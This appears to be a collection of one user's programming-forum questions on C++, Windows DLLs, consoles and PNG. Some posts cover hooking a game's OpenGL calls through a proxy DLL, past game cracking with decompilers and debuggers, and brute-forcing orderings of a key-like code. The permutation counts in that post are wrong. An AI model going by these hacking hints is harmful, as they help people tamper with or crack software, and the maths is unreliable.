
triumphost 120 Posting Whiz

So... I'm looking into learning Assembly. I downloaded the FASM assembler and I want to know how useful is assembly? I want the opinion from Cpp programmers because assembly programmers always tell me it's the best language -__-

Also quick question: How do I know which register to put stuff in? No tutorial says it. It just says eax ebx, etc.. Never explains how to tell what goes where.

triumphost 120 Posting Whiz

You're right. I didn't do AttachConsole(GetCurrentProcessId()).

When I do that it works but then it'll make my program unusable until the console returns. I'll look into the interprocess communications.

triumphost 120 Posting Whiz

How can I create PNG Files from an array of bytes or read a PNG file to create an array of bytes?

I looked up the format but it looks nothing like a bitmap and I read the GDI doesn't support PNG's. So how does LibPNG do it then? I don't want to use LibPNG or anything. I want to do it myself. I tried changing BI_RGB to BI_PNG but that just corrupts it all. There isn't a single tutorial out there on reading and using the PNG format with C++. Any ideas or links on how to read it? I read the entire format I just don't know where to start.

For bitmaps I use:

    Pixels.clear();
    memset(&Info, 0, sizeof(BITMAPINFO));
    Info.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    Info.bmiHeader.biPlanes = 1;
    Info.bmiHeader.biBitCount = BitsPerPixel;
    Info.bmiHeader.biCompression = BI_RGB;
    Info.bmiHeader.biWidth = width;
    Info.bmiHeader.biHeight = height;
    Info.bmiHeader.biSizeImage = size = ((width * BitsPerPixel + 31) / 32) * 4 * height;
    bFileHeader.bfType = 0x4D42;
    bFileHeader.bfSize = bFileHeader.bfOffBits + size;
    bFileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(Info.bmiHeader);
    Pixels.resize(width * height);
    //CreateFile... Reads pixels and flip rows. :)
triumphost 120 Posting Whiz

DeleteFile("Meh.txt");

triumphost 120 Posting Whiz

How can I get SetConsoleTextAttribute to work with my Console? I tried everything. First I redirected the cout and cin buffers so that my console can have input and output. But now it doesn't have Colour :S

I used:

HANDLE OutputHandle = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(OutputHandle, 10);

I don't think GetStdHandle is pointing to my console. Is there a way to redirect that? Or redirect all input/output to my console?

Currently I'm using this for redirecting and it works really well! Except for the colour part.

std::streambuf *CinBuffer, *CoutBuffer, *CerrBuffer;  //Backup the older buffers.
std::fstream ConsoleInput, ConsoleOutput, ConsoleError;  //My Buffers.


bool Debug::DebugConsole()
{
    if(!ConsoleActive)
    {
        ConsoleActive = AllocConsole();
        CinBuffer = std::cin.rdbuf();
        CoutBuffer = std::cout.rdbuf();
        CerrBuffer = std::cerr.rdbuf();
        ConsoleInput.open("CONIN$", std::ios::in);
        ConsoleOutput.open("CONOUT$", std::ios::out);
        ConsoleError.open("CONOUT$", std::ios::out);
        std::cin.rdbuf(ConsoleInput.rdbuf());
        std::cout.rdbuf(ConsoleOutput.rdbuf());
        std::cerr.rdbuf(ConsoleError.rdbuf());
    }

    return ConsoleActive;
}
triumphost 120 Posting Whiz

How can I get camera view and Triangle count of models in OpenGL? I know it's a vague question but I'm just starting opengl and none of the tutorials explain how to get the current camera view.

I hooked all OpenGL calls for a game and figured out how to turn on/off wireframe but the camera angle/view part is killing me.

Any ideas?

triumphost 120 Posting Whiz

Your post doesn't say the entire source :S

enough to read a TEXT password,stored in the source

The answer to that is yes. If the string isn't encrypted or obfuscated then yes.

Now if you meant decompile the entire program back into it's source then the answer is no. Not C++ unless it's .Net. In that case you can use .Net reflector.

For Java it decompiles into Bytecode. Most of the time, the string will be either obfuscated or plain text. When I used to crack games, I'd deob the jar first then use CJBE to go through the byte code and find what I want. Strings were sometimes obbed and sometimes plaintext. It all depends on who compiled it and with what.

But for bytecode there is a far higher chance of it being plaintext than pure C++. For .Net programs, you can decompile it all the way back to it's original source near 99% (estimation) of the time. Byte code is very very easy to follow as well. For C++ you'd need to know a bit of OP Codes/ASM.

triumphost 120 Posting Whiz

yes. IDA Pro Or OllyDBG can do this for EXE's and DLL's. For Java I used to use CJBE by Contra.

triumphost 120 Posting Whiz

I got it working but I'm still confused on where to put the __stdcall

I see some tutorials have it as:

Foo __stdcall (Parameters P);

and others have:

Foo(Parameters P); __stdcall //or __attribute__((stdcall))

Now I'm not sure which is correct or what the difference is between the __stdcall and the __attribute version. But why do some put it before and some put it after?
I looked up WINAPI and it's defined as __stdcall.

triumphost 120 Posting Whiz

I'm learning how to detour-hook functions from tutorials online but when I follow along, my DLL says symbols not found.

The error I get says:

Linking dynamic library: bin\Debug\GLHook.dll
Cannot export GLHook_glAccum: symbol not defined
Cannot export GLHook_glAlphaFunc: symbol not defined

I don't know why though.. I've defined everything :S I'm trying to learn to use definition files while doing this as well.

I have:

MyDetour.h:

typedef void (WINAPI *ptr_glAccum) (GLenum op, GLfloat value);
typedef void (WINAPI *ptr_glAlphaFunc) (GLenum func, GLclampf ref);
extern ptr_glAccum                   optr_glAccum;
extern ptr_glAlphaFunc               optr_glAlphaFunc;

MyDetour.cpp:

ptr_glAccum                   optr_glAccum;
ptr_glAlphaFunc               optr_glAlphaFunc;

void GLHook_glAccum(GLenum op, GLfloat value)
{
    (*optr_glAccum) (op, value);
}

void GLHook_glAlphaFunc(GLenum func, GLclampf ref)
{
    (*optr_glAlphaFunc) (func, ref);
}

MyDetour.def:

LIBRARY GLHook
EXPORTS

glAccum      =    GLHook_glAccum @1
glAlphaFunc  =    GLHook_glAlphaFunc @2

Main.cpp:

#include "main.h"
#include "GLHook.hpp"

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    //........ LoadLibrary("OpenGL32.dll");
    //........ optr_glAccum = GetProcAddress...
}

Main.h:

#ifndef __MAIN_H__
#define __MAIN_H__

#include <windows.h>

/*  To use this exported function of dll, include this header
 *  in your project.
 */

#ifdef BUILD_DLL
    #define DLL_EXPORT __declspec(dllexport)
#else
    #define DLL_EXPORT __declspec(dllimport)
#endif


#ifdef __cplusplus
extern "C"
{
#endif

//void DLL_EXPORT SomeFunction(const LPCSTR sometext);

#ifdef __cplusplus
}
#endif

#endif // __MAIN_H__

Any idea why it won't export?

triumphost 120 Posting Whiz

Look into template specialization. I think that may be what you're referring too.

triumphost 120 Posting Whiz

I have: 39H4-GTT7-LGLN And I'm trying to find every possible combination of sets. Basically each section is scrambled within itself. So there's only 16 combinations for each section. Example the first section I wrote it out as:

    39H4
    394H
    349H
    34H9
    49H3
    4H93
    493H
    4H39
    9H34
    934H
    943H
    9H43
    H493
    H934
    H394
    H439

I'm trying to find these for every section. At the end I think I should have 256 combinations since for each section I combine it with another section. Though I think my math is wrong :S Maybe it's (16*16)^3?

Example:

    39H4-GTT7-LGLN
    394H-GTT7-LGLN
    349H-GTT7-LGLN
    34H9-GTT7-LGLN
    49H3-GTT7-LGLN
    4H93-GTT7-LGLN
    493H-GTT7-LGLN
    4H39-GTT7-LGLN
    9H34-GTT7-LGLN
    934H-GTT7-LGLN
    943H-GTT7-LGLN
    9H43-GTT7-LGLN
    H493-GTT7-LGLN
    H934-GTT7-LGLN
    H394-GTT7-LGLN
    H439-GTT7-LGLN

And then I'd start all over for the next section but still include the first. I think this is called nfactorial or permutations or something but I'm not sure.

I started off with this code:

#include <windows.h>
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>

using namespace std;

void UnScramble(std::string Code)
{
    std::vector<std::string> Elements;

    for (int I = 0; I < Code.size(); I++)
        if (Code[I] == '-')
            Elements.push_back(Code.substr(I - 4, 4));

    Elements.push_back(Code.substr(Code.size() - 4, 4));
}

int main()
{
    UnScramble("39H4-GTT7-LGLN");
}

before I got frustrated and erased the rest of my code and started writing them out.. So I was to start fresh with my code above but I don't know how to start getting each combination of each section and then to get each combination of all 3.. It's killing my brain.

triumphost 120 Posting Whiz

I'm having a huge problem trying to learn how to export classes from a DLL.

I can do some functions just fine but the classes are mangled :S

I've tried from .def file, I've used extern "C" but when I did, it threw errors and won't export the class at all.

In codeblocks it won't create a .lib file so I tried linking the .a file but that still doesn't work. I'm not sure what to do. I'd probably prefer either loadlibrary or .lib but I want to learn how to do it via a .def file.

Exports.hpp

#ifndef EXPORTS_HPP_INCLUDED
#define EXPORTS_HPP_INCLUDED

#define EXPORT __declspec(dllexport)

class EXPORT Point;   //Forward declaration of a class I want to export. This is all I did.

#endif // EXPORTS_HPP_INCLUDED

Systems.hpp

#ifndef SYSTEM_HPP_INCLUDED
#define SYSTEM_HPP_INCLUDED

#ifdef _WIN32_WINNT
#undef _WIN32_WINNT
#endif
#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include "Strings.hpp"
#include <Time.h>
#include <vector>
#include "Exports.hpp"

EXPORT DWORD SystemTime();

EXPORT DWORD GetTimeRunning();

EXPORT DWORD TimeFromMark(int TimeMarker);

EXPORT std::string TheTime();

EXPORT int AddOnTermination(void(*function)(void));

EXPORT std::string GetEnvironmentVariables(const std::string Variable);

EXPORT void SetTransparency(HWND hwnd, BYTE Transperancy = 0);

#endif // SYSTEM_HPP_INCLUDED

Then in the CPP file I just have the definitions of each of those functions. They don't have the EXPORT infront of them.

For classes I just forward declare them in the Exports header and put export betwee class and the classname.

My Main file looks like:

#include "System.hpp"   //File that includes the exports.


BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID …